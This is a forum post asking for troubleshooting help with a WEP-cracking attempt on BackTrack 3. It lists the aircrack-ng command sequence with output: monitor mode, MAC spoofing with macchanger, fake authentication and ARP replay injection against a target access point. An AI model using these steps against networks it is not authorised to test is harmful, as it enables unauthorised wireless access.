Hi everyone I am really new to this but I have read a lot and searched the forum and can't seem to find an answer. I know this post is really long but I wanted to detail exactly what I did hopefully you can wade through it all.

I am running BT3 from a flash drive on an asus A8Jm which has an Intel 3945abg. I am attempting to run a WEP crack on my network basically following the steps outlined in a few tutorials.

This is what iwconfig gives me right after boot:

lo no wireless extensions.

eth0 no wireless extensions.

wmaster0 no wireless extensions.

wlan0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated
Tx-Power=27 dBm
Retry min limit:7 RTS thr: off Fragment thr=2346 B
Encryption key: off
Power Management: off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Then I was told to do:

bt ~ # modprobe -r iwl3945
bt ~ # modprobe ipwraw

now iwconfig shows:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 unassociated ESSID: off/any
Mode:Monitor Channel=2 Bit Rate=1 Mb/s

Then I can do:

bt ~ # start-kismet-ng

Interface Chipset Driver

wifi0 Centrino a/b/g ipwraw-ng (monitor mode enabled)

Now kismet opens in a different console and sometimes picks up a network. At most one and depending on where I am in the house it is either mine or someone else's.

bt ~ # airmon-ng stop wifi0

Interface Chipset Driver

wifi0 Centrino a/b/g ipwraw-ng (monitor mode disabled)

bt ~ # ifconfig wifi0 down

bt ~ # macchanger --mac 00:11:22:33:44:66 wifi0
Current MAC: [mymac] (unknown)
Faked MAC: 00:11:22:33:44:66 (Cimsys Inc)
bt ~ # airmon-ng start wifi0

Interface Chipset Driver

wifi0 Centrino a/b/g ipwraw-ng (monitor mode enabled)

Here I have tried experimenting with ifconfig wifi0 up but that doesn't seem to help or hurt. Then I run:

airodump-ng wifi0

which lists the same wifi network as kismet does depending on where I am and I have never seen more than one in the list. Also the beacons go up but the PWR is always zero as is the data. If it lists mine I continue:

bt ~ # airodump-ng -c 7 -w network.out --bssid [apbssid] wifi0

Then in a serpate window

aireplay-ng -1 0 -a [apbssid] -e FISH wifi0

which works sometimes and if it does i run:

aireplay-ng -3 -b [apbssid] wifi0

which also works but airodump-ng never ends up catching any data and the PWR is always zero. Also i am not using the -h switch and specifying my mac because the command says it defaults to using my mac anyway.

So that is as far as I ever get. Also if this helps I am unable to locate any networks after boot with wireless assistant so i can't get on the internet. Not sure if that matters but it might and if anyone knows how to fix that too that would be great. Thanks in advance for any help you can give me.
